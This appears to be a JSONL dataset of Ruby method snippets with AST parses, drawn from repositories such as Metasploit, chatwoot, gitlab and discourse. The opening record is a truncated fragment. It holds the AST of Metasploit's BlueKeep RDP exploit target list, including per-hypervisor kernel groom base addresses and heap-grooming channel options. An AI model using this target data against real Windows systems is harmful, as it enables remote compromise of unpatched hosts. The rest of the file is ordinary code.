"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHUNK_SIZE\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"HEADER_SIZE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"Raw\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic targeting via fingerprinting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FingerprintOnly\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026454319104]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMSIZE\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026433376256]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738027213488128]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026810834944]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026810867712]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738030728343552]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026810867712]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GROOMBASE\"]},{\"type\":\"int\",\"children\":[18446738026467065856]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-05-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Bluekeep\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROOMSIZE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Size of the groom in MB\"]},{\"type\":\"int\",\"children\":[250]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROOMCHANNEL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Channel to use for grooming\"]},{\"type\":\"str\",\"children\":[\"RDPSND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RDPSND\"]},{\"type\":\"str\",\"children\":[\"MS_T120\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROOMCHANNELCOUNT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of channels to groom\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptFloat\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROOMDELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Delay in seconds between sending 1 MB of groom packets\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"3ea23608-84be-4036-8b58-365e29554643"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/instagram/callbacks_controller.rb","start_line":67,"raw_source":"def handle_authorization_error\n    error_info = {\n      'error_type' => params[:error] || 'authorization_error',\n      'code' => 400,\n      'error_message' => params[:error_description] || 'Authorization was denied'\n    }\n\n    Rails.logger.error(\"Instagram Authorization Error: #{error_info['error_message']}\")\n    redirect_to_error_page(error_info)\n  end","complexity_score":12.45,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_authorization_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"error_type\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"str\",\"children\":[\"authorization_error\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"code\"]},{\"type\":\"int\",\"children\":[400]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"error_message\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_description\"]}]},{\"type\":\"str\",\"children\":[\"Authorization was denied\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Instagram Authorization Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error_message\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to_error_page\",{\"type\":\"lvar\",\"children\":[\"error_info\"]}]}]}]}","id":"fded1e27-4435-4e0e-ba06-89980e0ab79c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/report_summary.rb","start_line":182,"raw_source":"def successful_logins_to_table(report)\n        field_headers = %w[Host Public Private]\n\n        markdown_fields = report.flat_map do |host, result|\n          if result[:successful_logins].nil?\n            next\n          end\n\n          result[:successful_logins].map do |credential|\n            [host, credential[:public], credential[:private_data]]\n          end\n        end\n\n        ::Rex::Text::Table.new(\n          'Header' => 'Successful logins',\n          'Indent' => 4,\n          'Columns' => field_headers,\n          'Rows' => markdown_fields.compact\n        )\n      end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"successful_logins_to_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_headers\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"Public\"]},{\"type\":\"str\",\"children\":[\"Private\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"markdown_fields\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"successful_logins\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"successful_logins\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_data\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Successful logins\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"lvar\",\"children\":[\"field_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rows\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markdown_fields\"]},\"compact\"]}]}]}]}]}]}","id":"bf39c602-936b-4ea3-af5b-3ab82029a0c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/repo_type.rb","start_line":44,"raw_source":"def design?\n        name == :design\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"design?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"design\"]}]}]}","id":"8096fb89-3749-449f-accf-33342f2ad5cf"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/method_context.rb","start_line":76,"raw_source":"def non_public_visibility?\n        visibility != :public\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"non_public_visibility?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"public\"]}]}]}","id":"c16c6941-2c1f-4c78-a192-cf525ad1a486"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_invalidation_test.rb","start_line":175,"raw_source":"def test_cache_parent_invalidation_skipped_if_no_columns_change\n    Item.cache_has_many(:associated_records, embed: true)\n    @record.class.fetch(@record.id) # fill cache\n\n    child = @record.associated_records.first\n    child.update!(name: child.name)\n\n    assert_no_queries do\n      @record.class.fetch(@record.id)\n    end\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_parent_invalidation_skipped_if_no_columns_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"cache_has_many\",{\"type\":\"sym\",\"children\":[\"associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"class\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"associated_records\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"class\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]}]}]}","id":"819b9aa4-a944-448b-a25b-0efcc939930a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/pop2.rb","start_line":88,"raw_source":"def send_cmd(args, recv = true, nsock = self.sock)\n    cmd = args.join(\" \") + \"\\r\\n\"\n    if (recv)\n      return raw_send_recv(cmd, nsock)\n    else\n      return raw_send(cmd, nsock)\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"optarg\",\"children\":[\"recv\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recv\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_send_recv\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_send\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]}]}]}]}","id":"58c85187-852e-4cfc-9405-9e0b561120d6"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20191017044811_add_draft_backup_tables.rb","start_line":4,"raw_source":"def change\n    create_table :backup_draft_topics do |t|\n      t.integer :user_id, null: false\n      t.integer :topic_id, null: false\n      t.timestamps\n    end\n\n    create_table :backup_draft_posts do |t|\n      t.integer :user_id, null: false\n      t.integer :post_id, null: false\n      t.string :key, null: false\n      t.timestamps\n    end\n\n    add_index :backup_draft_posts, %i[user_id key], unique: true\n    add_index :backup_draft_posts, [:post_id], unique: true\n\n    add_index :backup_draft_topics, [:user_id], unique: true\n    add_index :backup_draft_topics, [:topic_id], unique: true\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"backup_draft_topics\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"backup_draft_posts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"backup_draft_posts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"backup_draft_posts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"backup_draft_topics\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"backup_draft_topics\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"deb97f29-ddb4-400c-8965-eae425ce68c9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_root_agent.rb","start_line":11,"raw_source":"def test_initialize\n    ra = RootAgent.new(log: $log)\n    assert_equal 0, ra.instance_variable_get(:@suppress_emit_error_log_interval)\n    assert_nil ra.instance_variable_get(:@next_emit_error_log_time)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ra\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RootAgent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"gvar\",\"children\":[\"$log\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ra\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@suppress_emit_error_log_interval\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ra\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@next_emit_error_log_time\"]}]}]}]}]}","id":"7e8913b9-8caf-405c-a939-83c86c452f19"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/crawler.rb","start_line":54,"raw_source":"def for_each_page(&block)\n    @for_each_page_blocks << block if block_given?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"for_each_page\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@for_each_page_blocks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},null]}]}","id":"24111987-9ada-4fb3-8487-7611b5613f9e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/persistence_suggester.rb","start_line":76,"raw_source":"def is_module_arch?(mod)\n    mod_arch = mod.target.arch || mod.arch\n    mod_arch.include?(session_arch)\n  rescue StandardError => e\n    print_error \"Failed to check module arch for #{mod.fullname} => #{e}\"\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_module_arch?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod_arch\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"arch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod_arch\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"session_arch\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to check module arch for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"5cc32035-6d46-4da3-9181-defe2fe04ce2"}
